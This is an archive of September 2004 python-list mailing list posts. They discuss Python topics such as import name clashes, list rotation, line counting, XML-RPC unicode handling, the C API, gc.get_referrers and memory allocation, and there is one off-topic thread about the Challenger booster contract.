From michele.simionato at gmail.com  Sun Sep  5 03:32:38 2004
From: michele.simionato at gmail.com (Michele Simionato)
Date: 5 Sep 2004 00:32:38 -0700
Subject: Module name conflict with standard library
References: <87k6v9o8cg.fsf@news2.ososo.de>
Message-ID: <4edc17eb.0409042332.5730eed7@posting.google.com>

Felix Wiemann <Felix.Wiemann at gmx.net> wrote in message news:<87k6v9o8cg.fsf at news2.ososo.de>...
> Hi!
> 
> I want to create a module myproject.ui.curses, which needs to import the
> curses library.
> 
> However, if I just write ``import curses``, the module imports *itself*
> instead of the standard library's curses module.
> 
> Is there any (reliable) way to access a module of the standard library
> if the names conflict as in this case?
> 
> Thank you in advance,
> Felix Wiemann

Dunno. I guess that when PEP328 will be fully implemented (this is NOT the
case in 2.4.a3)

from __future__ import absolute_import
import curses

will do the right thing, importing the standard library module and not
itself (which should happen with "import .curses").

Am I correct? I do really really like PEP328 since I was bitten by
this kind of problems myself in the past. Will it be implemented fully
in time for 2.4.b1?


     Michele Simionato


From tim.golden at viacom-outdoor.co.uk  Mon Sep  6 06:06:15 2004
From: tim.golden at viacom-outdoor.co.uk (Tim Golden)
Date: Mon, 6 Sep 2004 11:06:15 +0100 
Subject: built-in function- module name clash
Message-ID: <F1921F85572CB04D9F55B14BDC76B3E4434A45@iron.ima.umn.edu>

| Hi,
| 
| I've a python script using somecalls to the abs() built-in function.
| 
| Now, I have to import a module named 'abs' too...

Surprising to find a module with the same name as
a built-in function! Simplest thing is to rename
the module on import:

import abs as absmodule
...
absmodule.blah (x, y)

if abs (x-y) == z:
  blah

TJG

________________________________________________________________________
This e-mail has been scanned for all viruses by Star. The
service is powered by MessageLabs. For more information on a proactive
anti-virus service working around the clock, around the globe, visit:
http://www.star.net.uk
________________________________________________________________________


From __peter__ at web.de  Thu Sep 30 03:22:09 2004
From: __peter__ at web.de (Peter Otten)
Date: Thu, 30 Sep 2004 09:22:09 +0200
Subject: List rotation
References: <cjftdv$ofl$1@news8.svr.pol.co.uk>
	<mailman.4116.1096515802.5135.python-list@python.org>
	<cjg4hq$r02$1@newsg4.svr.pol.co.uk>
Message-ID: <cjgc72$5d6$02$1@news.t-online.com>

M. Clift wrote:

> If the list  ('a', 'd', 'b', 'a', 'd', 'c', 'b') was rotated once it would
> of course give('d', 'b', 'a' etc...
> 
> What I'm looking for is that say if trans = 1, then the list would become
> ('b', 'a', 'c', 'b', 'a', 'd', 'c') .
> For trans = 3 the list would be ('d', 'c', 'a', 'd', 'c', 'b', 'a')

def make_trans(items, n):
    return dict(zip(items, items[n:] + items[:n]))

def transform(items, trans):
    return [trans[item] for item in items]

for i in range(4):
    print "N =", i, transform("adbadcb", make_trans("abcd", i))

Is that it?

Peter




From zanesdad at bellsouth.net  Tue Sep 28 22:20:58 2004
From: zanesdad at bellsouth.net (Jeremy Jones)
Date: Tue, 28 Sep 2004 22:20:58 -0400
Subject: annoying behavior
In-Reply-To: <0on6d.1653$TY2.18@lakeread04>
References: <9418be08.0409280856.9368ddf@posting.google.com>	<41599BD7.7040809@bellsouth.net>	<mailman.4029.1096404065.5135.python-list@python.org>
	<0on6d.1653$TY2.18@lakeread04>
Message-ID: <415A1C0A.2060902@bellsouth.net>

Steve Holden wrote:

> elbertlev at hotmail.com wrote:
>
>> ----- Original Message -----
>> From: "Jeremy Jones" <zanesdad at bellsouth.net>
>> To: "Elbert Lev" <elbertlev at hotmail.com>
>> Cc: <python-list at python.org>
>> Sent: Tuesday, September 28, 2004 1:13 PM
>> Subject: Re: annoying behavior
>>
>> Jeremy!
>>
>> Sure it would be nice if a the interpreter would give a warning before
>> really instantiating the instance of class foo (at least in "debug" 
>> mode).
>> In my case the error happened after the program ran about 30 minutes. 
>> I do
>> not think this is impossible.
>
>
> If not thinking something impossible actually made it possible then it 
> would be possible for me to ignore this thread rather than responding 
> to it.
>
> Next you'll be asking us to modify the compiler so it produces an 
> error if someone feeds it a program that never terminates.
>
> If your program ran for 30 minutes before this quite-obvious bug 
> appeared then I should suggest you do some serious reading on the 
> subjects of unit-testing and test-first programming.
>
> Alternatively, look for a language with DWIM-mode :-)
>
> regards
>  Steve

I'm going out on a limb here, but is it _possible_ that you imported the 
module that contained the offending class, then 30 minutes later an 
instance of said offending class was created?  Here's your response to 
Daniel Dittmar:

I think, it would be good, if some sort of warning is given during
import, but not during instantiating the instance of the class. At
least in a "debug" mode. What really did happen: the bug was reported
after the scrip was running for 30 minutes. PyCheck finds it
immediatelly. Why not to do the same kind of check in the interpreter?

Here, you're complaining about no warning being given at import.  This 
error would not have been manifest at import time, but at instantiation 
time.  And to your point, "It would be nice for the interpreter to give 
a warning before really creating an instance of the class, at least in 
debug....".... I recommend that you take Steves advice on unit testing.  
Or, you could put try: except: blocks around every instance of any class 
you create :-)  No, it is _not_ impossible for the interpreter to do 
that, but what all do you want it to check?  Maybe I want it to call all 
of my methods with some parameters specified somehow in docstrings and 
make sure no errors occur.  What you're asking is really general.  Too 
general, I think, for new functionality to be placed in the 
interpreter.  Thus Steve's recommendation for unit testing.  If you 
write good unit tests, there's your verification in "debug" mode.  You 
run your tests as you're developing.  That way, you can target your 
specific needs and you don't pay _any_ penalty at runtime.

Jeremy



From danb_83 at yahoo.com  Tue Sep 21 20:11:22 2004
From: danb_83 at yahoo.com (Dan Bishop)
Date: 21 Sep 2004 17:11:22 -0700
Subject: Why not FP for Money?
References: <cc887c1d.0409202325.76ec2227@posting.google.com>
	<10l0lpt9n0n5k9c@news.supernews.com>
Message-ID: <ad052e5c.0409211611.7e4411e@posting.google.com>

"John Roth" <newsgroups at jhrothjr.com> wrote in message news:<10l0lpt9n0n5k9c at news.supernews.com>...
> "Chris Barker" <Barkmann at gmail.com> wrote in message 
> news:cc887c1d.0409202325.76ec2227 at posting.google.com...
> > Hi all,
> >
> > I promise this is not a troll... Really, it's embarassing, because
> > this is one Engineer that DID take a Numerical Analysis course, and
> > from William Kahan, no less, and I still don't really get it. (and
> > yes, Alex, I could have gotten my degree without it)
> 
> It seems your course didn't make the one crucial distinction
> that should be written in letters of fire at the start of every
> discussion of floating point.
> 
> Floating point arithmetic is useful for continuous quantities,
> or quantities that are measured (as in weighed, etc.) Integers
> (and rationals) are useful for things that are counted, which
> includes currency units, but also includes anything else that
> comes in discrete units  (apples and oranges, for instance).

And the confusion comes from the fact that money is pretty much the
only thing that uses "continuous quantity" decimal-point notation to
represent a discrete thing.

But what about countries like Japan and (even more so) Turkey where
the currency units are so small that you never use fractions of them? 
Do programmers there talk less about floating-point error?


From janimal at mail.trillegaarden.dk  Mon Sep 20 15:58:30 2004
From: janimal at mail.trillegaarden.dk (Ling Lee)
Date: Mon, 20 Sep 2004 21:58:30 +0200
Subject: How to count lines in a text file ?
References: <414ed896$0$26378$ba624c82@nntp02.dk.telia.net>
	<ekE3d.648$g42.95@newsread3.news.pas.earthlink.net>
Message-ID: <414f3629$0$25964$ba624c82@nntp03.dk.telia.net>

Thanks for explaining it that well, really makes sense now :)

Cheers....
"Andrew Dalke" <adalke at mindspring.com> wrote in message 
news:ekE3d.648$g42.95 at newsread3.news.pas.earthlink.net...
> Ling Lee wrote:
>> 2) I made the first part like this:
>>
>> in_file = raw_input("What is the name of the file you want to open: ")
>> in_file = open("test.txt","r")
>> text = in_file.read()
>
> You have two different objects related to the file.
> One is the filename (the result of calling raw_input) and
> the other is the file handle (the result of calling open).
> You are using same variable name for both of them.  You
> really should make them different.
>
> First you get the file name and reference it by the variable
> named 'in_file'.  Next you use another filename ("test.txt")
> for the open call.  This returns a file handle, but not
> a file handle to the file named in 'in_file'.
>
> You then change things so that 'in_file' no longer refers
> to the filename but now refers to the file handle.
>
> A nicer solution is to use one variable name for the name
> (like "in_filename") and another for the handle (you can
> keep "in_file" if you want to).  In the following I
> reformatted it so the example fits in under 80 colums
>
>    in_filename = raw_input("What is the name of the file "
>                            "you want to open: ")
>    in_file = open(in_filename,"r")
>    text = in_file.read()
>
>
> Now the in_file.read() reads all of the file into memory.  There
> are several ways to count the number of lines.  The first is
> to count the number of newline characters.  Because the newline
> character is special, it's most often written as what's called
> an escape code.  In this case, "\n".  Others are backspace ("\b")
> and beep ("\g"), and backslash ("\\") since otherwise there's
> no way to get the single character "\".
>
> Here's how to cound the number of newlines in the text
>
> num_lines = text.count("\n")
>
> print "There are", num_lines, "in", in_filename
>
>
> This will work for almost every file except for one where
> the last line doesn't end with a newline.  It's rare, but
> it does happen.  To fix that you need to see if the
> text ends with a newline and if it doesn't then add one
> more to the count
>
>
> num_lines = text.count("\n")
> if not text.endswith("\n"):
>   num_lines = num_lines + 1
>
> print "There are", num_lines, "in", in_filename
>
>
>> 3) I think that I have to use a for loop ( something like
>> for line in text: count +=1)
>
> Something like that will work.  When you say "for xxxx in string"
> it loops through every character in the string, and not
> every line.  What you need is some way to get the lines.
>
> One solution is to use the 'splitlines' method of strings.
> This knows how to deal with the "final line doesn't end with
> a newline" case and return a list of all the lines.  You
> can use it like this
>
>   count = 0
>   for line in text.splitlines():
>     count = count + 1
>
> or, since splitlines() returns a list of lines you can
> also do
>
>   count = len(text.splitlines())
>
> It turns out that reading lines from a file is very common.
> When you say "for xxx in file" it loops through every line
> in the file.  This is not a list so you can't say
>
>   len(open(in_filename, "r"))  # DOES NOT WORK
>
> instead you need to have the explicit loop, like this
>
>   count = 0
>   for line in open(in_filename, "r")):
>     count = count + 1
>
> An advantage to this approach is that it doesn't read
> the whole file into memory.  That's only a problems
> if you have a large file.  Try counting the number of
> lines in a 1.5 GB file!
>
> By the way, the "r" is the default for the a file open.
> Most people omit it from the parameter list and just use
>
>    open(in_filename)
>
> Hope this helped!
>
> By the way, you might want to look at the "Beginner's
> Guide to Python" page at http://python.org/topics/learn/ .
> It has pointers to resources that might help, including
> the tutor mailing list meant for people like you who
> are learning to program in Python.
>
> Andrew
> dalke at dalkescientific.com 




From peter at engcorp.com  Thu Sep 16 21:07:37 2004
From: peter at engcorp.com (phansen)
Date: Thu, 16 Sep 2004 21:07:37 -0400
Subject: XML_RPC and unicode problems
In-Reply-To: <mailman.3422.1095379149.5135.python-list@python.org>
References: <7bf84d19.0409161548.521da358@posting.google.com>
	<mailman.3422.1095379149.5135.python-list@python.org>
Message-ID: <y_ydnc-FMKhHpdfcRVn-vQ@powergate.ca>

Greg Hamilton wrote:
> Thomas wrote:
>> What I've come to believe is that XML_RPC automatically assumes any
>> strings it transfers are unicode and thusly tries to do conversions on
>> these strings. Therefore, is there any way to keep XML_RPC from doing
>> unicode conversions, or is there some way for me to just pass raw data
>> over XML_RPC without having to worry about it?
>>  
> http://www.xmlrpc.com/spec
> 
> Have a look at the <base64> data type.

Disclaimer: I haven't used XML-RPC yet.

I looked at the above site, and noted this particular text in the
explanatory section below the very lightweight "spec":

"""Q. What characters are allowed in strings? Non-printable characters?
    Null characters? Can a "string" be used to hold an arbitrary chunk of
    binary data?

    A. Any characters are allowed in a string except < and &, which are
    encoded as &lt; and &amp;. A string can be used to encode binary
    data.
"""

Seems to me that description is inadequate, if one has to revert
to <base64> to pass through a string with an \xa0 in it.

I did a search and found this page from Fredrik Lundh, which seems
to be more clear on the whole thing, clearer even than the updated
spec which simply removed a previous reference to ASCII:
http://effbot.org/zone/xmlrpc-errata.htm

-Peter


From aleaxit at yahoo.com  Wed Sep  1 08:35:31 2004
From: aleaxit at yahoo.com (Alex Martelli)
Date: Wed, 1 Sep 2004 14:35:31 +0200
Subject: PYTHON API : add new classes in a module from an other module
References: <mailman.2684.1093975244.5135.python-list@python.org>
Message-ID: <1gjfuip.1az63wl1i1yrmpN%aleaxit@yahoo.com>

mathieu gontier <mg.mailing-list at laposte.net> wrote:
   ...
>           foo_module = Py_GetModule( "FOO" ) ;
>           if( ! foo_module ) return ;
   ...
> So, my question is : does it exist in the Python API, a equivalent 
> function of  "Py_GetModule( <module name> )" (that a have invented for
> the example !)  ;
> or does an other solution exist in order to do the same think ?

There is no direct way to "get a module named this way if it is already
imported otherwise do nothing".  PyImport_AddModule comes close, but it
will return an empty module (and insert it into sys.modules too...) in
the 'otherwise' case.

PyImport_GetModuleDict  returns sys.module to you as a PyObject*
(borrowed reference, so no worry about needing to decref it later), and
then you can call PyDict_GetItemString on it -- the latter DOES return 0
without setting and exception if the string isn't a key in the
dictionary, so overall it may come closest to your desires even though
you do need a two-calls sequence.

Summarizing, then:

{
    PyObject* sys_modules = PyImport_GetModuleDict();
    PyObject* foo_module = PyDict_GetItemString(sys_modules, "FOO");
    if(!foo_module) return;

    /* use foo_module freely here, do not decref it when you're done */

}


Alex


From roo at try-removing-this.darkboong.demon.co.uk  Sat Sep  4 12:40:39 2004
From: roo at try-removing-this.darkboong.demon.co.uk (Rupert Pigott)
Date: Sat, 04 Sep 2004 17:40:39 +0100
Subject: Xah Lee's Unixism
In-Reply-To: <irl_c.67482$jZ5.60995@clgrps13>
References: <j-OdnS-Q8aADqKjcRVn-tQ@speakeasy.net>
	<10jc7cu7e57koaa@corp.supernews.com>
	<20040901.2343.57633snz@dsl.co.uk>
	<YLednXSn7obciqrcRVn-og@powergate.ca> <41376B82.C6A202FC@yahoo.com>
	<P5GdnU8q-8Sw66rcRVn-qg@powergate.ca>
	<0g0fj0dvbthf0cj224bdt6ikqsv2vs5jlb@4ax.com>
	<ur7pks59p.fsf@mail.comcast.net>
	<8K0_c.2928$lv3.518794@news4.srv.hcvlny.cv.net>
	<3vahj09m887i64osgm65bhhh6l9tl6j38a@4ax.com>
	<Os7_c.113460$Fg5.65632@attbi_s53>
	<1094257487.855439@teapot.planet.gong>
	<qs9_c.235307$8_6.157753@attbi_s04>
	<1094285694.404322@teapot.planet.gong>
	<irl_c.67482$jZ5.60995@clgrps13>
Message-ID: <1094316038.770020@teapot.planet.gong>

Coby Beck wrote:
> "Rupert Pigott" <roo at try-removing-this.darkboong.demon.co.uk> wrote in
> message news:1094285694.404322 at teapot.planet.gong...
> 
>>Larry Elmore wrote:
>>
>>>Rupert Pigott wrote:
>>
>>[SNIP]
>>
>>
>>>http://www.ae.utexas.edu/~lehmanj/ethics/srb.htm
>>>
>>>"Competition for the SRB Contract"
>>>
>>>"Four companies bid for the contract to design and manufacture the solid
>>>rocket boosters (SRBs). Aerojet Solid bid the program at $655 million,
>>>United Technologies at $710 million, Morton Thiokol at $710 million, and
>>>Lockheed at $714 million. All the bids were relatively similar in both
>>>price and technology. Based on cost, the NASA advisory panel recommended
>>>that the contract be awarded to Aerojet; they believed that money could
>>>be saved without sacrificing technical quality by choosing the lowest
>>>bid. NASA administrator Dr. James Fletcher overruled this recommendation
>>
>>[SNIP]
>>
>>Even if hypothetically superior Aerojet boosters were used I would
>>bet a life's salary that mismanagement would nail them in the end...
> 
> 
> You will never understand past mistakes with an attitude like that.."Oh
> well, who knows?  It could have been worse!"

That's not it at all : It's a recognition of the sickness in the
safety culture that existed.

>>Consider this : If the tables were turned and an Aerojet booster
>>exploded in the sky I'll bet the armchair QBs would be asking why
>>were Aerojet chosen over Morton-Thiokol who had more experience of
>>building large solid-fuel rockets.
> 
> 
> And there would have been a clear answer:  they had the lowest bid and a
> committee responsible for technical evaluation approved them.

You would get accusations that the tech.eval was approving them
to cut corners in the budget... AFAICT MT had more experience
of building that kind of gadget at the time.

Don't get me wrong : M-T & NASA fucked up, I'm not defending
them. I'm just a bit wary of pinning it on the choice of maker
when in fact it seems to be a cultural sickness that eventually
led to a *predictable* and *preventable* catastrophic failure.


Cheers,
Rupert



From velman at cox.net  Tue Sep 28 12:29:38 2004
From: velman at cox.net (John Velman)
Date: Tue, 28 Sep 2004 09:29:38 -0700
Subject: Tkinter measurements
References: <pan.2004.09.27.23.19.13.30084@cox.net>
	<41591e47$0$25116$8fcfb975@news.wanadoo.fr>
Message-ID: <pan.2004.09.28.16.29.37.934527@cox.net>

On Tue, 28 Sep 2004 10:26:01 +0200, Eric Brunel wrote:

> John Velman wrote:
>> I want to draw a box around a short piece of text in canvas (one line
>> text).  I know how to do it if I place the text on the canvas first,then
>> draw the box around it. 
>> 
>> Is there a way to find out the dimensions of the text bounding box before
>> drawing it?

> 
> First: why do you want to do that? The most used method is to draw the
> text before, get its bounding box, then draw the box. Why do you want to
> do the opposite?
> 

That's a good question, all right.  I'm restarting in Python something I'd
originally started in perl with Perl/TK.  In my perl original my code was
pretty unstructured, and in redoing I decided to modularize (which Python
makes a lot easier!).  Without going into my whole possibly misbegotten
concept, my original idea for modules seemed to require knowing the text
size.  Probably a better design will let me do the text, then the box as
you suggest.   Sometimes I get hung up on a certain problem (in this case,
getting the text size before drawing it) and can't seem to move on until I
have a solution.  

Thanks for the good information about TkFont module, and the point sized
pseudo pixels!

And for the question "why?"  

Best,

John Velman

[snip]


From tim.peters at gmail.com  Tue Sep  7 14:22:30 2004
From: tim.peters at gmail.com (Tim Peters)
Date: Tue, 7 Sep 2004 14:22:30 -0400
Subject: gc.get_referrers trouble
In-Reply-To: <chkt0m$av0$04$1@news.t-online.com>
References: <chkt0m$av0$04$1@news.t-online.com>
Message-ID: <1f7befae04090711227ae85f72@mail.gmail.com>

[Diez B. Roggisch]
> I'm in the process of debugging a mem-leaking app. A recent thread here on
> c.l.py mentioned the use of the gc module, so I gave it a try.
>
> However, using get_referrers() yields in literally thousands of objects for
> even the tiniest example like this:
>
> import gc
> a = [1]
> print  gc.get_referrers(1)
>
> Running that from bash gives me this:
>
> # python /tmp/test.py | wc
>     23    7196   67165

That just shows the number of lines (etc) of output, not how many
objects refer to 1.  len(gc.get_referrers(1)) would tell you how many
container objects refer to 1.  Little integers happen to be shared in
CPython, so there are likely to be referrers you don't know about.  I
expect there are several dozen objects total that refer to 1, but not
more than that.  Pick a larger number to match your "intuition"
better:

>>> len(gc.get_referrers(82938732))
1
>>>

> Now I'm confused - how do I interpret the results of get_referrers()
> correctly?

Start by not printing it as a string <wink>.  It's a list of container
objects.  The string representation of any one of those objects can
arbitrarily large.

A better start would be to download one of the test.py scripts for
Zope, and use a debug build.  There's a TrackRefs class defined in
test.py that displays deltas in object counts (by type) across calls
to its update() method.  Typical is to use that to find out which
kinds of objects are growing at an unreasonable rate, then fiddle the
guts of the TrackRefs class (via calls to things like gc.get_referrers
-- depends on where the evidence leads you) to zero in on a cause.


From benji at benjiyork.com  Sat Sep 25 21:48:41 2004
From: benji at benjiyork.com (Benji York)
Date: 25 Sep 2004 18:48:41 -0700
Subject: Access to MS SQL from Linux?
References: <mailman.3835.1096015745.5135.python-list@python.org>
Message-ID: <c45e6536.0409251748.6fe86b81@posting.google.com>

Tim Golden <tim.golden at viacom-outdoor.co.uk> wrote in message news:<mailman.3835.1096015745.5135.python-list at python.org>...
> I'm certainly interested; any chance of your putting them up
> on a website somewhere?

It's in alpha state, but you can download it at
http://benjiyork.com/odbtp.html.  If the instructions are unclear or
even missing something, let me know.  Any volunteers to help build a
test suite, finish up some rough edges, or help with packaging would
be appreciated.

(Five geek points to everyone that can identify the background image
on that page.)
--
Benji York


From tim.peters at gmail.com  Thu Sep 30 00:27:17 2004
From: tim.peters at gmail.com (Tim Peters)
Date: Thu, 30 Sep 2004 00:27:17 -0400
Subject: constructing binary backslash-n
In-Reply-To: <1985B3AF-1290-11D9-9E53-000A95D49904@neosynapse.net>
References: <F84E7671-127F-11D9-9E53-000A95D49904@neosynapse.net>
	<1f7befae04092919484211a3bb@mail.gmail.com>
	<1985B3AF-1290-11D9-9E53-000A95D49904@neosynapse.net>
Message-ID: <1f7befae04092921277752f20a@mail.gmail.com>

[Steven Arnold]
> Something seemed to screw up my message, putting two backslashes
> everywhere I put only one.  That probably led to your confusion.  It
> seems that Jeff may have been similarly confused.  I'll try again.
>
> I want to be able to receive a letter like 'n', let's say as user
> input, and generate the single byte escape value of backslash-n or
> ASCII 10, as a string of length 1.  If the user provided the letter
> 'r', I would return a string one character long, for which
> ord(my_string) == 13.  This should be equivalent to the string
> '<backslash>r'.

OK, but I still want to know what the notation \[a-z] meant in your
original message.  The two examples you gave here are very special,
because backslash + n and backlash + r are two of the few two-letter
sequences that *have* a special meaning in Python (or C) strings.  If
the letter is, for example, z, what do you want then?  backslash + z
doesn't mean anything special to anyone.

The only letters that have special meaning after a backslash are:

a b f n r t v x

and backslash + x all alone raises ValueError.


From siggy2 at supereva.it  Tue Sep 28 06:56:53 2004
From: siggy2 at supereva.it (PiErre)
Date: 28 Sep 2004 03:56:53 -0700
Subject: little bug in python 2.3.4 silent installation on windows?
Message-ID: <33a15593.0409280256.60ffb84d@posting.google.com>

Hi,
  I used to install python 2.2 with the option /s (silent) on win2k server.
Now I migrated to python 2.3 (Python-2.3.4.exe) and it seems to me that 
in all the registry values the drive is missing
EG: under

HKEY_CLASSES_ROOT\Python.NoConFile\DefaultIcon

The (Default) values I found is
\Python23\Py.ico

instead of the one that I have if I perform a non-silent installation
C:\Python23\Py.ico
(it was C:\Python22\Py.ico in the silent python 22 inst)

May anyone confirm me this is a Python-2.3.4.exe bug?
bye,
   PiErre


From steven.bethard at gmail.com  Fri Sep 17 16:32:26 2004
From: steven.bethard at gmail.com (Steven Bethard)
Date: Fri, 17 Sep 2004 20:32:26 +0000 (UTC)
Subject: "Updating" lambda functions
References: <2qtl0oF139gn6U1@uni-berlin.de>
	<mailman.3428.1095385637.5135.python-list@python.org>
	<Eps2d.28226$%S.369@pd7tw2no>
	<mailman.3440.1095407177.5135.python-list@python.org>
	<cie73b$jma$0$216.39.172.122@theriver.com>
Message-ID: <loom.20040917T222046-726@post.gmane.org>

Bengt Richter <bokr <at> oz.net> writes:
> On Fri, 17 Sep 2004 07:46:12 +0000 (UTC), I wrote:
> >
> >f = lambda args: body
> >
> >is equivalent to
> >
> >def f(args): body
> 
> Yes, but
> 
>    obj.f = lambda args: body
> 
> is possible without an intermediate local binding of f that might clobber a 
> previous f

Yeah, I probably should have been clear about that.  If 'f' is really just a 
name (as it was in my example) the two syntaxes I gave are equivalent.  If 'f' 
really isn't just a name, then you do still want an anonymous function.  In 
the OP's example though, 'f' really was just a name.

> Well, if lambda is removed (or not , I hope an anonymous def expression is 
> allowed...

Well, it's come up a number of times (one of the more recent is 
http://mail.python.org/pipermail/python-list/2004-June/226714.html), but it 
doesn't seem like there was any agreement on (a) what it should look like, or 
(b) why having such anonymous defs was such a gain over named defs.  If you'd 
like to champion a PEP about it...  ;)

Steve




From heikowu at ceosg.de  Tue Sep 21 07:07:03 2004
From: heikowu at ceosg.de (Heiko Wundram)
Date: Tue, 21 Sep 2004 13:07:03 +0200
Subject: need help defining Constant memory requirement
In-Reply-To: <1f7befae040920131118bf3a75@mail.gmail.com>
References: <d3be1825.0409182100.612a5dcb@posting.google.com>
	<200409201020.33427.heikowu@ceosg.de>
	<1f7befae040920131118bf3a75@mail.gmail.com>
Message-ID: <200409211307.03721.heikowu@ceosg.de>

Am Montag, 20. September 2004 22:11 schrieb Tim Peters:
> def finddup(iterable):
>     result = 0
>     for i, x in enumerate(iterable):
>         result ^= i ^ x
>     return result

Erm... Shouldn't this function be:

def finddup(it):
 result = 0
 for i, x in enumerate(it):
  result ^= i ^ x
 return result ^ i

Because in ( 1 ^ 1 ) ^ ( 2 ^ 2 ) ... ^ ( (n-1) ^ (n-1) ) ^ ( x ^ n ) all terms 
zero out except the last one. So, basically what you get is x ^ n, and x ^ 
( n ^ n ) = x...

Guess that was just a typo... ;)

Heiko.


From pwatson at redlinepy.com  Fri Sep  3 11:10:14 2004
From: pwatson at redlinepy.com (Paul Watson)
Date: Fri, 3 Sep 2004 10:10:14 -0500
Subject: print with no newline
References: <2prasrFo4rruU1@uni-berlin.de> <ch9vhg$n35$01$1@news.t-online.com>
Message-ID: <2prfqoFnv1laU1@uni-berlin.de>

"Peter Otten" <__peter__ at web.de> wrote in message
news:ch9vhg$n35$01$1 at news.t-online.com...
> Paul Watson wrote:
>
> > I thought that using a comma at the end of a print statement would
> > suppress
> > printing of a newline.  Am I misunderstanding this feature?  How can I
use
> > print and not have a newline appended at the end?
>
> I thought that, too. It turns out that Python writes an additional newline
> on exit if the softspace flag is set. So
>
> $ python -c "import sys; print 'here',; sys.stdout.softspace = False" >
> tmp.txt
> $ od -c tmp.txt
> 0000000   h   e   r   e
> 0000004
>
> is a viable if ugly workaround.
>
> Peter

Many thanks for pointing out File.softspace attribute.  However, I get mixed
results when using it.  I am sure there is some logic to it somewhere.  It
does not appear to control the end of line.  The online doc says that it
controls putting a space -before- another value.  The File.softspace.__doc__
string appears to need review also.  I think I am ready to use File.write()
and move on.

C:\src\projects\test1>type eoltest.py
#!/usr/bin/env python
import sys
print 'here', 'and'
sys.stdout.softspace = False
print 'here', 'and'
sys.stdout.softspace = True
print 'here', 'and'
sys.stdout.softspace = False
print 'there',

C:\src\projects\test1>eoltest.py
here and
here and
 here and
there

C:\src\projects\test1>eoltest.py >jjj

C:\src\projects\test1>od -c -tx1 jjj
0000000   h   e   r   e       a   n   d  \r  \n   h   e   r   e       a
        68 65 72 65 20 61 6e 64 0d 0a 68 65 72 65 20 61
0000020   n   d  \r  \n       h   e   r   e       a   n   d  \r  \n   t
        6e 64 0d 0a 20 68 65 72 65 20 61 6e 64 0d 0a 74
0000040   h   e   r   e  \r  \n
        68 65 72 65 0d 0a
0000046

C:\src\projects\test1>python -c "import sys;print
sys.stdout.softspace.__doc__"
int(x[, base]) -> integer

Convert a string or number to an integer, if possible.  A floating point
argument will be truncated towards zero (this does not include a string
representation of a floating point number!)  When converting a string, use
the optional base.  It is an error to supply a base when converting a
non-string. If the argument is outside the integer range a long object
will be returned instead.




From tim.peters at gmail.com  Mon Sep 20 02:29:46 2004
From: tim.peters at gmail.com (Tim Peters)
Date: Mon, 20 Sep 2004 02:29:46 -0400
Subject: memory allocation
In-Reply-To: <pan.2004.09.20.05.53.15.48658@optusnet.com.au>
References: <pan.2004.09.19.11.21.21.129058@optusnet.com.au>
	<pan.2004.09.19.18.28.33.473150@optusnet.com.au>
	<mailman.3536.1095658533.5135.python-list@python.org>
	<pan.2004.09.20.05.53.15.48658@optusnet.com.au>
Message-ID: <1f7befae04091923292bde5c50@mail.gmail.com>

[Tim Peters]
>> You can build Python without pymalloc.  I've never done that myself,
>> so am not sure how to do it.  Could be that passing --with-pymalloc=no
>> would suffice.

[benevilent at optusnet.com.au]
> I have built with this option, but to no avail.

Then the Python you built was not using pymalloc.  I suppose you could
confirm that by setting breakpoints in pymalloc and noting that
they're never hit (or noting that the debugger won't let you set
breakpoints there anymore, because the pymalloc code no longer
exists!).

> I can provide a sample c program (which has it's virtual memory size expand
> and contract dynamically), and a similar python program for which this does
> not occur.

If you're not using pymalloc anymore, then you're trying to out-guess
the behavior of your specific platform C's malloc/free system, and how
it interacts with your specific platform's operating system.  There's
no guarantee that "returning" memory to the platform free() has any
effect on "the memory used by the program" as reported by the OS. 
Indeed, if you have turned pymalloc off, Python itself is just another
C program using malloc and free.  I'm not interested in staring at
your platform C+OS, but I'll note that it's common as mud, across many
platforms, to return memory to free() and see no effect on reported VM
size.  As I said before, the behavior here is typically very complex,
depending on exact traces of when malloc() and free() are called, on
the exact arguments passed to them, and on myriad details of how
malloc/free are implemented on your platform.  It's not actually
interesting to find a C program where "it works", the interesting bit
is finding C programs where "it doesn't work", because the latter show
the platform's weaknesses.

A common pattern, extended to exhaustion to make a point:

     malloc(big_number)
     malloc(little_number)
     malloc(big_number)
     malloc(little_number)
     malloc(big_number)
     malloc(little_number)
 ...
     repeat until you run out of VM

This can fragment address space so badly that returning *all* the
memory allocated by the "big_number" calls nevertheless leaves
allocated little pieces scattered across the entire virtual address
space.  So long as the little pieces remain allocated, there's nothing
that even a fiercely determined malloc/free could do to return any
part of the address space to the OS.  In real life, malloc/free
typically don't try hard at all to return space to the OS, burning
just a few cycles after a free() to see whether it's obviously
possible to do.  That's easily frustrated.

Depending on your platform C library, you may or may not be able to
ask its malloc to show you a map of allocated and available regions. 
If you can, you'll probably find a fragmented address space.  Figuring
out "why" it's fragmented is another big job, and then it may or may
not be possible to rearrange computations to avoid the cause(s)
discovered.

There's rarely an easy answer to one of these.


From ialbert at mailblocks.com  Mon Sep  6 17:28:54 2004
From: ialbert at mailblocks.com (Istvan Albert)
Date: Mon, 06 Sep 2004 17:28:54 -0400
Subject: Ramanujan & Python
In-Reply-To: <mailman.2941.1094500089.5135.python-list@python.org>
References: <mailman.2941.1094500089.5135.python-list@python.org>
Message-ID: <7eOdnXhhbMoBS6HcRVn-uA@giganews.com>

barnesc at engr.orst.edu wrote:

> Spectacular, no?

Not really.

I'm might sound a bit of off topic here I but I consider both of
these as 'cheapo' tricks that only sound good on paper (and to
reporters): 'Look Ma the man can compute the sum of two cubes
in a flash'

1**3 is 1, all he needed to know is that 12**3 is  1728
Similarly knowing that 10**3 is 1000 is trivial, all he
needed to know is that 9**3 is 729.

Just as with squared values whenever one works with cubes
they will tune very quickly in and start recognize the first
20 or so by heart in a  matter of minutes...

Istvan.





From aleaxit at yahoo.com  Thu Sep  2 03:13:56 2004
From: aleaxit at yahoo.com (Alex Martelli)
Date: Thu, 2 Sep 2004 09:13:56 +0200
Subject: initializing mutable class attributes
References: <J4zYc.102357$UTP.98636@twister01.bloor.is.net.cable.rogers.com>
	<1gjc8cs.sqvo1v1fhabdjN%aleaxit@yahoo.com>
	<eTHYc.205$yqJ1.68@news04.bloor.is.net.cable.rogers.com>
	<1gje9dn.r6jpetyroi0N%aleaxit@yahoo.com>
	<8JbZc.140699$UTP.23045@twister01.bloor.is.net.cable.rogers.com>
	<1gjfkp7.aepmjg11ubf2rN%aleaxit@yahoo.com>
	<iolZc.115894$pTn.53552@news01.bloor.is.net.cable.rogers.com>
	<1gjg2g0.1yx50mvx6csq3N%aleaxit@yahoo.com>
Message-ID: <1gjg9tm.14a3nqg36zs8fN%aleaxit@yahoo.com>

